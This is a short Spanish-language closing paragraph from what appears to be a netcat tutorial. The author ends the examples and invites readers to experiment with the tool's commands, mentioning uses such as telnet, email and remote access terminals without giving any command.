Page 50: Net Cat

Bien en este punto ya no voy a poner más ejemplos, es el momento de empezar a estudiar los comandos y experimentar que se puede hacer, como ya comente estos son solo algunos ejemplos y les aseguro que esto no es nada mas que una simple demostración rápida , si hurgan, investigan, y experimentan con los comandos, les aseguro que podrán hacer muchísimas cosas mas con el , como ser, desde hacer telnet, a enviar o buscar correo, y pasando por crear terminales de acceso remoto, en fin, como dije, mi imaginación me limita jejejejej, pero esos experimentos se los dejo a vuestra imaginación.